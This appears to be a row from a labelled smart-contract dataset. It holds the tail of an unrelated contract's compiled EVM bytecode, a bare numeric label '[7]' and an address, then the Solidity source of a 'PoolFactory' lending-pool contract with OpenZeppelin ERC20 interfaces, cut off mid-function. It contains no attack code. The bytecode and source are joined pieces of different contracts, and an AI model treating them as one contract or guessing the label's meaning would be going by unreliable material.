40517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b60005474010000000000000000000000000000000000000000900460ff166114c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f6e6f742d7061757365642d7965740000000000000000000000000000000000006044820152606401610666565b6004805467ffffffffffffffff86811678010000000000000000000000000000000000000000000000000277ffffffffffffffffffffffffffffffffffffffffffffffff918916700100000000000000000000000000000000908102929092166fffffffffffffffffffffffffffffffff938416171792839055848216810286831617600555600680548584167fffffffffffffffffffffffffffffffff00000000000000000000000000000000919091161790556000805460035473ffffffffffffffffffffffffffffffffffffffff9091169492900483169291909116906115ac8284612727565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290915060009073ffffffffffffffffffffffffffffffffffffffff8616906370a0823190602401602060405180830381865afa15801561161c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116409190612f70565b9050600061164e8284611fde565b6000600355600480547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff8616179055905080156116a2576116a2863383612115565b6116ae8633308c612733565b604080518c8152602081018c90529081018a9052606081018990526080810188905260a0810182905260c081018490527f0b68b1a567075b71fa21ac9129afa1c0a29fe0b173475e884adf7edd97cf9ddb9060e00160405180910390a1611713610884565b5050505050505050505050565b33611729610fd2565b73ffffffffffffffffffffffffffffffffffffffff16146117cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f53746f72616765536c6f744f776e61626c653a2063616c6c6572206973206e6f60448201527f7420746865206f776e65720000000000000000000000000000000000000000006064820152608401610666565b73ffffffffffffffffffffffffffffffffffffffff811661186f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f53746f72616765536c6f744f776e61626c653a206e6577206f776e657220697360448201527f20746865207a65726f20616464726573730000000000000000000000000000006064820152608401610666565b8073ffffffffffffffffffffffffffffffffffffffff1661188e6122ab565b73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36118d9816122fa565b50565b3360008181526009602052604090205460ff16611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f696e76616c69642d726f757465720000000000000000000000000000000000006044820152606401610666565b611966610100830160e08401612c88565b73ffffffffffffffffffffffffffffffffffffffff811660009081526008602052604090205460ff166119f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f696e76616c69642d7369676e65720000000000000000000000000000000000006044820152606401610666565b30611a066060850160408601612c88565b73ffffffffffffffffffffffffffffffffffffffff1614611a83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600360248201527f56414500000000000000000000000000000000000000000000000000000000006044820152606401610666565b6000611a8e84610776565b9050611aa1610100850160e08601612c88565b73ffffffffffffffffffffffffffffffffffffffff16611b59611b11836040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b611b1f610120880188612f89565b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506128d292505050565b73ffffffffffffffffffffffffffffffffffffffff1614611bd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f49530000000000000000000000000000000000000000000000000000000000006044820152606401610666565b6000805474010000000000000000000000000000000000000000900460ff16611c00576000611c03565b60015b611c149060ff16600183901b612f1b565b600454909150700100000000000000000000000000000000900467ffffffffffffffff164210611c45576000611c48565b60015b611c599060ff16600183901b612f1b565b9050846060013585608001351115611c72576000611c75565b60015b611c869060ff16600183901b612f1b565b90508585608001351115611c9b576000611c9e565b60015b611caf9060ff16600183901b612f1b565b90504285351115611cc1576000611cc4565b60015b611cd59060ff16600183901b612f1b565b60208087013560009081526007909152604090205490915060ff16611cfb576000611cfe565b60015b611d0f9060ff16600183901b612f1b565b90508015611d8757611d2760e0860160c08701612c88565b73ffffffffffffffffffffffffffffffffffffffff167fb1a2a970a93cfe7553c97573e857bf2d247b0caf462f92df1be27f44be5ccae2600083604051611d78929190918252602082015260400190565b60405180910390a25050611fd8565b602080860135600090815260079091526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055611dfb611dd960608801356080890135612ec9565b611df5611dea8a60808b0135612ec9565b60a08a013590612990565b9061299c565b9050611e0681610727565b600354909150611e28906fffffffffffffffffffffffffffffffff1682612727565b600380547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff9283161790819055611e87917001000000000000000000000000000000009091041682612727565b600380546fffffffffffffffffffffffffffffffff928316700100000000000000000000000000000000029216919091179055611eff81600a6000611ed260e08b0160c08c01612c88565b73ffffffffffffffffffffffffffffffffffffffff16815260208101919091526040016000205490612727565b600a6000611f1360e08a0160c08b01612c88565b73ffffffffffffffffffffffffffffffffffffffff168152602081019190915260400160002055611f4a60e0870160c08801612c88565b73ffffffffffffffffffffffffffffffffffffffff167fb1a2a970a93cfe7553c97573e857bf2d247b0caf462f92df1be27f44be5ccae2826000604051611f9b929190918252602082015260400190565b60405180910390a2611fb561012087016101008801612e7d565b15611fd457611fd2611fcd60e0880160c08901612c88565b6124a3565b505b5050505b50505050565b6000611fea8284612ec9565b9392505050565b60008183116120005782611fea565b50919050565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff841690839060405161203d9190613021565b60006040518083038185875af1925050503d806000811461207a576040519150601f19603f3d011682016040523d82523d6000602084013e61207f565b606091505b5050905080612110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603460248201527f5472616e7366657248656c7065723a3a736166655472616e736665724554483a60448201527f20455448207472616e73666572206661696c65640000000000000000000000006064820152608401610666565b505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905291516000928392908716916121ac9190613021565b6000604051808303816000865af19150503d80600081146121e9576040519150601f19603f3d011682016040523d82523d6000602084013e6121ee565b606091505b5091509150818015612218575080511580612218575080806020019051810190612218919061303d565b6122a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602d60248201527f5472616e7366657248656c7065723a3a736166655472616e736665723a20747260448201527f616e73666572206661696c6564000000000000000000000000000000000000006064820152608401610666565b5050505050565b60006122de6122db60017fa42ac066737193710fc0b00f1f3fe7bdc37fa408d5ed79d4c5205ec0f19caf67612ec9565b90565b5473ffffffffffffffffffffffffffffffffffffffff16919050565b73ffffffffffffffffffffffffffffffffffffffff811661239d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f53746f72616765536c6f744f776e61626c653a206e65772061646d696e20697360448201527f20746865207a65726f20616464726573730000000000000000000000000000006064820152608401610666565b806123cc6122db60017fa42ac066737193710fc0b00f1f3fe7bdc37fa408d5ed79d4c5205ec0f19caf67612ec9565b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9290921691909117905550565b610b5a828260405160240161242892919061305a565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9710a9d0000000000000000000000000000000000000000000000000000000001790526129a8565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600a602052604081205480612530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600360248201527f49434100000000000000000000000000000000000000000000000000000000006044820152606401610666565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600a60205260408120556003546004546fffffffffffffffffffffffffffffffff70010000000000000000000000000000000090920482169116826125918383612727565b10156125f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f6f766572666c6f773f20544244000000000000000000000000000000000000006044820152606401610666565b801561263c5782811115612618576126118382612ec9565b9050612649565b60006126248285612ec9565b6000925090506126348382611fde565b925050612649565b6126468284611fde565b91505b600380546fffffffffffffffffffffffffffffffff9081167001000000000000000000000000000000008583160217909155600480547fffffffffffffffffffffffffffffffff00000000000000000000000000000000169183169190911790556000546126ce9073ffffffffffffffffffffffffffffffffffffffff168685612115565b8473ffffffffffffffffffffffffffffffffffffffff167f12e07fb6d24360ff33b7477e241dd77751cfaf3ba7d4e6f946570d2fa54d029e8460405161271691815260200190565b60405180910390a250909392505050565b6000611fea8284612f1b565b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905291516000928392908816916127d29190613021565b6000604051808303816000865af19150503d806000811461280f576040519150601f19603f3d011682016040523d82523d6000602084013e612814565b606091505b509150915081801561283e57508051158061283e57508080602001905181019061283e919061303d565b6128ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603160248201527f5472616e7366657248656c7065723a3a7472616e7366657246726f6d3a20747260448201527f616e7366657246726f6d206661696c65640000000000000000000000000000006064820152608401610666565b505050505050565b60008151604114156129065760208201516040830151606084015160001a6128fc868285856129c9565b9350505050610770565b81516040141561292e5760208201516040830151612925858383612c21565b92505050610770565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610666565b6000611fea8284612f33565b6000611fea8284612ee0565b80516a636f6e736f6c652e6c6f67602083016000808483855afa5050505050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0821115612a7b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610666565b8360ff16601b1480612a9057508360ff16601c145b612b1c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610666565b6040805160008082526020820180845288905260ff871692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa158015612b70573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612c18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610666565b95945050505050565b60007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821660ff83901c601b01612c5a868287856129c9565b9695505050505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461125357600080fd5b600060208284031215612c9a57600080fd5b611fea82612c64565b600060208284031215612cb557600080fd5b5035919050565b80151581146118d957600080fd5b60008060408385031215612cdd57600080fd5b612ce683612c64565b91506020830135612cf681612cbc565b809150509250929050565b6000610140828403121561200057600080fd5b600060208284031215612d2657600080fd5b813567ffffffffffffffff811115612d3d57600080fd5b612d4984828501612d01565b949350505050565b60008060408385031215612d6457600080fd5b612d6d83612c64565b946020939093013593505050565b600080600080600080600060e0888a031215612d9657600080fd5b612d9f88612c64565b9650612dad60208901612c64565b96999698505050506040850135946060810135946080820135945060a0820135935060c0909101359150565b60008060408385031215612dec57600080fd5b50508035926020909101359150565b600080600080600060a08688031215612e1357600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60008060408385031215612e4957600080fd5b82359150602083013567ffffffffffffffff811115612e6757600080fd5b612e7385828601612d01565b9150509250929050565b600060208284031215612e8f57600080fd5b8135611fea81612cbc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082821015612edb57612edb612e9a565b500390565b600082612f16577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60008219821115612f2e57612f2e612e9a565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6b57612f6b612e9a565b500290565b600060208284031215612f8257600080fd5b5051919050565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112612fbe57600080fd5b83018035915067ffffffffffffffff821115612fd957600080fd5b602001915036819003821315612fee57600080fd5b9250929050565b60005b83811015613010578181015183820152602001612ff8565b83811115611fd85750506000910152565b60008251613033818460208701612ff5565b9190910192915050565b60006020828403121561304f57600080fd5b8151611fea81612cbc565b6040815260008351806040840152613079816060850160208801612ff5565b602083019390935250601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0160160600191905056fea164736f6c634300080a000a | [
7
] |
0xf3322CcF762AE1b38443bb403FDaCa3e0d3f4e8d | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeCastUpgradeable.sol";
import "./interfaces/IPoolMaster.sol";
import "./interfaces/IFlashGovernor.sol";
import "./interfaces/IMembershipStaking.sol";
import "./libraries/Decimal.sol";
contract PoolFactory is OwnableUpgradeable {
using SafeERC20Upgradeable for IERC20Upgradeable;
using ClonesUpgradeable for address;
using SafeCastUpgradeable for uint256;
using Decimal for uint256;
/// @notice CPOOL token contract
IERC20Upgradeable public cpool;
/// @notice MembershipStaking contract
IMembershipStaking public staking;
/// @notice FlashGovernor contract
IFlashGovernor public flashGovernor;
/// @notice Pool master contract
address public poolMaster;
/// @notice Interest Rate Model contract address
address public interestRateModel;
/// @notice Address of the auction contract
address public auction;
/// @notice Address of the treasury
address public treasury;
/// @notice Reserve factor as 18-digit decimal
uint256 public reserveFactor;
/// @notice Insurance factor as 18-digit decimal
uint256 public insuranceFactor;
/// @notice Pool utilization that leads to warning state (as 18-digit decimal)
uint256 public warningUtilization;
/// @notice Pool utilization that leads to provisional default (as 18-digit decimal)
uint256 public provisionalDefaultUtilization;
/// @notice Grace period for warning state before pool goes to default (in seconds)
uint256 public warningGracePeriod;
/// @notice Max period for which pool can stay not active before it can be closed by governor (in seconds)
uint256 public maxInactivePeriod;
/// @notice Period after default to start auction after which pool can be closed by anyone (in seconds)
uint256 public periodToStartAuction;
/// @notice Allowance of different currencies in protocol
mapping(address => bool) public currencyAllowed;
struct ManagerInfo {
address currency;
address pool;
address staker;
uint32 proposalId;
uint256 stakedAmount;
bytes32 ipfsHash;
string managerSymbol;
}
/// @notice Mapping of manager addresses to their pool info
mapping(address => ManagerInfo) public managerInfo;
/// @notice Mapping of manager symbols to flags if they are already used
mapping(string => bool) public usedManagerSymbols;
/// @notice Mapping of addresses to flags indicating if they are pools
mapping(address => bool) public isPool;
// EVENTS
/// @notice Event emitted when new pool is proposed
event PoolProposed(address indexed manager, address indexed currency);
/// @notice Event emitted when proposed pool is cancelled
event PoolCancelled(address indexed manager, address indexed currency);
/// @notice Event emitted when new pool is created
event PoolCreated(
address indexed pool,
address indexed manager,
address indexed currency,
bool forceCreated
);
/// @notice Event emitted when pool is closed
event PoolClosed(
address indexed pool,
address indexed manager,
address indexed currency
);
/// @notice Event emitted when status of the currency is set
event CurrencySet(address currency, bool allowed);
/// @notice Event emitted when new pool master is set
event PoolMasterSet(address newPoolMaster);
/// @notice Event emitted when new interest rate model is set
event InterestRateModelSet(address newModel);
/// @notice Event emitted when new treasury is set
event TreasurySet(address newTreasury);
/// @notice Event emitted when new reserve factor is set
event ReserveFactorSet(uint256 factor);
/// @notice Event emitted when new insurance factor is set
event InsuranceFactorSet(uint256 factor);
/// @notice Event emitted when new warning utilization is set
event WarningUtilizationSet(uint256 utilization);
/// @notice Event emitted when new provisional default utilization is set
event ProvisionalDefaultUtilizationSet(uint256 utilization);
/// @notice Event emitted when new warning grace period is set
event WarningGracePeriodSet(uint256 period);
/// @notice Event emitted when new max inactive period is set
event MaxInactivePeriodSet(uint256 period);
/// @notice Event emitted when new period to start auction is set
event PeriodToStartAuctionSet(uint256 period);
/// @notice Event emitted when new reward per block is set for some pool
event PoolRewardPerBlockSet(address indexed pool, uint256 rewardPerBlock);
// CONSTRUCTOR
/**
* @notice Upgradeable contract constructor
* @param cpool_ The address of the CPOOL contract
* @param staking_ The address of the Staking contract
* @param flashGovernor_ The address of the FlashGovernor contract
* @param poolMaster_ The address of the PoolMaster contract
* @param interestRateModel_ The address of the InterestRateModel contract
* @param auction_ The address of the Auction contract
*/
function initialize(
IERC20Upgradeable cpool_,
IMembershipStaking staking_,
IFlashGovernor flashGovernor_,
address poolMaster_,
address interestRateModel_,
address auction_
) external initializer {
require(address(cpool_) != address(0), "AIZ");
require(address(staking_) != address(0), "AIZ");
require(address(flashGovernor_) != address(0), "AIZ");
require(poolMaster_ != address(0), "AIZ");
require(interestRateModel_ != address(0), "AIZ");
require(auction_ != address(0), "AIZ");
__Ownable_init();
cpool = cpool_;
staking = staking_;
flashGovernor = flashGovernor_;
poolMaster = poolMaster_;
interestRateModel = interestRateModel_;
auction = auction_;
}
/* PUBLIC FUNCTIONS */
/**
* @notice Function used to propose new pool for the first time (with manager's info)
* @param currency Address of the ERC20 token that would act as currnecy in the pool
* @param ipfsHash IPFS hash of the manager's info
* @param managerSymbol Manager's symbol
*/
function proposePoolInitial(
address currency,
bytes32 ipfsHash,
string memory managerSymbol
) external {
_setManager(msg.sender, ipfsHash, managerSymbol);
_proposePool(currency);
}
/**
* @notice Function used to propose new pool (when manager's info already exist)
* @param currency Address of the ERC20 token that would act as currnecy in the pool
*/
function proposePool(address currency) external {
require(managerInfo[msg.sender].ipfsHash != bytes32(0), "MHI");
_proposePool(currency);
}
/**
* @notice Function used to create proposed and approved pool
*/
function createPool() external {
ManagerInfo storage info = managerInfo[msg.sender];
flashGovernor.execute(info.proposalId);
IPoolMaster pool = IPoolMaster(poolMaster.clone());
pool.initialize(msg.sender, info.currency);
info.pool = address(pool);
isPool[address(pool)] = true;
emit PoolCreated(address(pool), msg.sender, info.currency, false);
}
/**
* @notice Function used to cancel proposed but not yet created pool
*/
function cancelPool() external {
ManagerInfo storage info = managerInfo[msg.sender];
require(info.proposalId != 0 && info.pool == address(0), "NPP");
emit PoolCancelled(msg.sender, info.currency);
info.currency = address(0);
info.proposalId = 0;
staking.unlockStake(info.staker, info.stakedAmount);
}
// RESTRICTED FUNCTIONS
/**
* @notice Function used to immedeately create new pool for some manager for the first time
* @notice Skips approval, restricted to owner
* @param manager Manager to create pool for
* @param currency Address of the ERC20 token that would act as currnecy in the pool
* @param ipfsHash IPFS hash of the manager's info
* @param managerSymbol Manager's symbol
*/
function forceCreatePoolInitial(
address manager,
address currency,
bytes32 ipfsHash,
string memory managerSymbol
) external onlyOwner {
_setManager(manager, ipfsHash, managerSymbol);
_forceCreatePool(manager, currency);
}
/**
* @notice Function used to immediately create new pool for some manager (when info already exist)
* @notice Skips approval, restricted to owner
* @param manager Manager to create pool for
* @param currency Address of the ERC20 token that would act as currnecy in the pool
*/
function forceCreatePool(address manager, address currency)
external
onlyOwner
{
require(managerInfo[manager].ipfsHash != bytes32(0), "MHI");
_forceCreatePool(manager, currency);
}
/**
* @notice Function is called by contract owner to update currency allowance in the protocol
* @param currency Address of the ERC20 token
* @param allowed Should currency be allowed or forbidden
*/
function setCurrency(address currency, bool allowed) external onlyOwner {
currencyAllowed[currency] = allowed;
emit CurrencySet(currency, allowed);
}
/**
* @notice Function is called by contract owner to set new PoolMaster
* @param poolMaster_ Address of the new PoolMaster contract
*/
function setPoolMaster(address poolMaster_) external onlyOwner {
require(poolMaster_ != address(0), "AIZ");
poolMaster = poolMaster_;
emit PoolMasterSet(poolMaster_);
}
/**
* @notice Function is called by contract owner to set new InterestRateModel
* @param interestRateModel_ Address of the new InterestRateModel contract
*/
function setInterestRateModel(address interestRateModel_)
external
onlyOwner
{
require(interestRateModel_ != address(0), "AIZ");
interestRateModel = interestRateModel_;
emit InterestRateModelSet(interestRateModel_);
}
/**
* @notice Function is called by contract owner to set new treasury
* @param treasury_ Address of the new treasury
*/
function setTreasury(address treasury_) external onlyOwner {
require(treasury_ != address(0), "AIZ");
treasury = treasury_;
emit TreasurySet(treasury_);
}
/**
* @notice Function is called by contract owner to set new reserve factor
* @param reserveFactor_ New reserve factor as 18-digit decimal
*/
function setReserveFactor(uint256 reserveFactor_) external onlyOwner {
require(reserveFactor_ <= Decimal.ONE, "GTO");
reserveFactor = reserveFactor_;
emit ReserveFactorSet(reserveFactor_);
}
/**
* @notice Function is called by contract owner to set new insurance factor
* @param insuranceFactor_ New reserve factor as 18-digit decimal
*/
function setInsuranceFactor(uint256 insuranceFactor_) external onlyOwner {
require(insuranceFactor_ <= Decimal.ONE, "GTO");
insuranceFactor = insuranceFactor_;
emit InsuranceFactorSet(insuranceFactor_);
}
/**
* @notice Function is called by contract owner to set new warning utilization
* @param warningUtilization_ New warning utilization as 18-digit decimal
*/
function setWarningUtilization(uint256 warningUtilization_)
external
onlyOwner
{
require(warningUtilization_ <= Decimal.ONE, "GTO");
warningUtilization = warningUtilization_;
emit WarningUtilizationSet(warningUtilization_);
}
/**
* @notice Function is called by contract owner to set new provisional default utilization
* @param provisionalDefaultUtilization_ New provisional default utilization as 18-digit decimal
*/
function setProvisionalDefaultUtilization(
uint256 provisionalDefaultUtilization_
) external onlyOwner {
require(provisionalDefaultUtilization_ <= Decimal.ONE, "GTO");
provisionalDefaultUtilization = provisionalDefaultUtilization_;
emit ProvisionalDefaultUtilizationSet(provisionalDefaultUtilization_);
}
/**
* @notice Function is called by contract owner to set new warning grace period
* @param warningGracePeriod_ New warning grace period in seconds
*/
function setWarningGracePeriod(uint256 warningGracePeriod_)
external
onlyOwner
{
warningGracePeriod = warningGracePeriod_;
emit WarningGracePeriodSet(warningGracePeriod_);
}
/**
* @notice Function is called by contract owner to set new max inactive period
* @param maxInactivePeriod_ New max inactive period in seconds
*/
function setMaxInactivePeriod(uint256 maxInactivePeriod_)
external
onlyOwner
{
maxInactivePeriod = maxInactivePeriod_;
emit MaxInactivePeriodSet(maxInactivePeriod_);
}
/**
* @notice Function is called by contract owner to set new period to start auction
* @param periodToStartAuction_ New period to start auction
*/
function setPeriodToStartAuction(uint256 periodToStartAuction_)
external
onlyOwner
{
periodToStartAuction = periodToStartAuction_;
emit PeriodToStartAuctionSet(periodToStartAuction_);
}
/**
* @notice Function is called by contract owner to set new CPOOl reward per block speed in some pool
* @param pool Pool where to set reward
* @param rewardPerBlock Reward per block value
*/
function setPoolRewardPerBlock(address pool, uint256 rewardPerBlock)
external
onlyOwner
{
IPoolMaster(pool).setRewardPerBlock(rewardPerBlock);
emit PoolRewardPerBlockSet(pool, rewardPerBlock);
}
/**
* @notice Function is called through pool at closing to unlock manager's stake
*/
function closePool() external {
require(isPool[msg.sender], "SNP");
address manager = IPoolMaster(msg.sender).manager();
ManagerInfo storage info = managerInfo[manager];
address currency = info.currency;
info.currency = address(0);
info.pool = address(0);
staking.unlockStake(info.staker, info.stakedAmount);
emit PoolClosed(msg.sender, manager, currency);
}
/**
* @notice Function is called through pool to burn manager's stake when auction starts
*/
function burnStake() external {
require(isPool[msg.sender], "SNP");
ManagerInfo storage info = managerInfo[
IPoolMaster(msg.sender).manager()
];
staking.burnStake(info.staker, info.stakedAmount);
info.staker = address(0);
info.stakedAmount = 0;
}
/**
* @notice Function is used to withdraw CPOOL rewards from multiple pools
* @param pools List of pools to withdrawm from
*/
function withdrawReward(address[] memory pools) external {
uint256 totalReward;
for (uint256 i = 0; i < pools.length; i++) {
require(isPool[pools[i]], "NPA");
totalReward += IPoolMaster(pools[i]).withdrawReward(msg.sender);
}
if (totalReward > 0) {
cpool.safeTransfer(msg.sender, totalReward);
}
}
// VIEW FUNCTIONS
/**
* @notice Function returns symbol for new pool based on currency and manager
* @param currency Pool's currency address
* @param manager Manager's address
* @return Pool symbol
*/
function getPoolSymbol(address currency, address manager)
external
view
returns (string memory)
{
return
string(
bytes.concat(
bytes("cp"),
bytes(managerInfo[manager].managerSymbol),
bytes("-"),
bytes(IERC20MetadataUpgradeable(currency).symbol())
)
);
}
// INTERNAL FUNCTIONS
/**
* @notice Internal function that proposes pool
* @param currency Currency of the pool
*/
function _proposePool(address currency) private {
require(currencyAllowed[currency], "CNA");
ManagerInfo storage info = managerInfo[msg.sender];
require(info.currency == address(0), "AHP");
info.proposalId = flashGovernor.propose();
info.currency = currency;
info.staker = msg.sender;
info.stakedAmount = staking.lockStake(msg.sender);
emit PoolProposed(msg.sender, currency);
}
/**
* @notice Internal function that immedeately creates pool
* @param manager Manager of the pool
* @param currency Currency of the pool
*/
function _forceCreatePool(address manager, address currency) private {
require(currencyAllowed[currency], "CNA");
ManagerInfo storage info = managerInfo[manager];
require(info.currency == address(0), "AHP");
IPoolMaster pool = IPoolMaster(poolMaster.clone());
pool.initialize(manager, currency);
info.pool = address(pool);
info.currency = currency;
info.staker = msg.sender;
info.stakedAmount = staking.lockStake(msg.sender);
isPool[address(pool)] = true;
emit PoolCreated(address(pool), manager, currency, true);
}
/**
* @notice Internal function that sets manager's info
* @param manager Manager to set info for
* @param info Manager's info IPFS hash
* @param symbol Manager's symbol
*/
function _setManager(
address manager,
bytes32 info,
string memory symbol
) private {
require(managerInfo[manager].ipfsHash == bytes32(0), "AHI");
require(info != bytes32(0), "CEI");
require(!usedManagerSymbols[symbol], "SAU");
managerInfo[manager].ipfsHash = info;
managerInfo[manager].managerSymbol = symbol;
usedManagerSymbols[symbol] = true;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
